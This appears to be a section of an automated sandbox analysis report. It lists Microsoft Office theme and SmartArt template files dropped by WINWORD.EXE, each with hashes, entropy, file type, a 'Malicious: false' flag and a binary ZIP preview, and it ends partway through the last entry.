C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
